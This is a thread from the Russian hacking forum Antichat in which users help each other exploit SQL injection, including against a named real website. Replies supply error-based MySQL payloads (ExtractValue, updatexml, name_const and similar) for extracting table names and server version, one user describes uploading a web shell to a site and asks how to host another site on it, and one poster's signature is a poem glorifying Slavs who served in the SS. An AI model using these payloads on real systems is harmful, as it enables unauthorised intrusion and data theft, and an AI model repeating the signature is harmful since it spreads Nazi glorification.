ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
11.09.2014, 18:50
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210
Репутация:
2017
|
|
Сообщение от Br@!ns
Br@!ns said:
Помогите раскрутить
Код HTML:
HTML:
http://www.svetodom.ru/brand/jhkhjkhjk
http://www.svetodom.ru/brand/jhkhjkhjk+AND
а что сложного использовать error-based?
например ExtractValue
Сообщение от None
1 and ExtractValue(1,concat(0x5c,((select+table_name+fro m+information_schema.tables+limit+30,1))))+--+
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
11.09.2014, 19:07
|
|
Guest
Сообщений: n/a
Провел на форуме:
132418
Репутация:
652
|
|
Br@!ns, еще добавлю, что нынче модно использовать короткие запросы. Вот еще для изучения пару векторов с выводом через error-based (VolgaCTF::MySQL Game):
Сообщение от None
'=0 group by elt(rand(),version())having sum(0)#
Сообщение от None
'-updatexml(0,repeat(version(),2),2)#
Сообщение от None
'-(SELECT*FROM(SELECT name_const(version(),1),name_const(version(),1))a) #
Сообщение от None
'+9*~(select*from(select@@version)x)#
Сообщение от None
'||1 group by elt(rand(0),version())having sum(0)#
Сообщение от None
'|(select!x-~0.FROM(select version()x)f)#
[QUOTE="None"]
'
|
|
|
|
12.09.2014, 18:32
|
|
Guest
Сообщений: n/a
Провел на форуме:
768
Репутация:
0
|
|
Подскажите плиз
залил шелл, ввел данные для подключения к БД данного сайта, зашел, появилась консоль в ней я могу создать новую базу данных(чистую) не затрагивая уже существующую и создать на серваке еще один сайт?
|
|
|
|
12.09.2014, 19:48
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
Сообщение от cyborgx
cyborgx said:
Подскажите плиз
залил шелл, ввел данные для подключения к БД данного сайта, зашел, появилась консоль в ней я могу создать новую базу данных(чистую) не затрагивая уже существующую и создать на серваке еще один сайт?
нет...
|
|
|
|
26.09.2014, 22:53
|
|
Guest
Сообщений: n/a
Провел на форуме:
21918
Репутация:
6
|
|
Инъекция в INSERT. Вывод ошибок есть. Пытаюсь использовать error based вектор, но таблицы в которую происходит INSERT на сервере нету.
Можно ли такое раскрутить?
|
|
|
|
27.09.2014, 13:03
|
|
Guest
Сообщений: n/a
Провел на форуме:
15642
Репутация:
6
|
|
Сообщение от int
int said:
Инъекция в INSERT. Вывод ошибок есть. Пытаюсь использовать error based вектор, но таблицы в которую происходит INSERT на сервере нету.
Можно ли такое раскрутить?
База на другом сервере ----> ничего не получится.
|
|
|
|
27.09.2014, 16:28
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от int
int said:
Инъекция в INSERT. Вывод ошибок есть. Пытаюсь использовать error based вектор, но таблицы в которую происходит INSERT на сервере нету.
Можно ли такое раскрутить?
Посмотрите где расположена БД.
Сообщение от UXOR
UXOR said:
База на другом сервере ----> ничего не получится.
Если есть данные от админки, то вполне получится.
|
|
|
|
27.09.2014, 18:27
|
|
Guest
Сообщений: n/a
Провел на форуме:
21918
Репутация:
6
|
|
Сообщение от winstrool
winstrool said:
Посмотрите где расположена БД
Как это сделать? В сообщение об ошибке SQL данной информации нет.
Код:
Code:
Table 'db_name.table_name' doesn't exist SQL=INSERT INTO table_name ( id, info ) VALUES ( 1, 'data' and updatexml(1,concat(0x3a,version(),2) or '')
|
|
|
|
27.09.2014, 19:13
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от int
int said:
Как это сделать? В сообщение об ошибке SQL данной информации нет.
Код:
Code:
Table 'db_name.table_name' doesn't exist SQL=INSERT INTO table_name ( id, info ) VALUES ( 1, 'data' and updatexml(1,concat(0x3a,version(),2) or '')
user() - если выпадет IP сравни его с IP сайта, в ином случае БД на серваке с сайтом.
|
|
|
|
27.09.2014, 20:16
|
|
Guest
Сообщений: n/a
Провел на форуме:
21918
Репутация:
6
|
|
Сообщение от winstrool
winstrool said:
user() - если выпадет IP сравни его с IP сайта, в ином случае БД на серваке с сайтом.
Так user() не будет выполнен, т.к. mysql сервер сначала проверяет существование таблицы, в которую происходит вставка.
Код:
Code:
insert into non_existing_table(id, info) values(1,(select user()))
// #1146 - Table 'data_base.non_existing_table' doesn't exist
Может быть я не корректно задал вопрос. Уточню, что скорее всего таблица просто удалена, а не находится на другом сервере, но при этом есть уязвимый скрипт, который пытается обратиться к ней.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
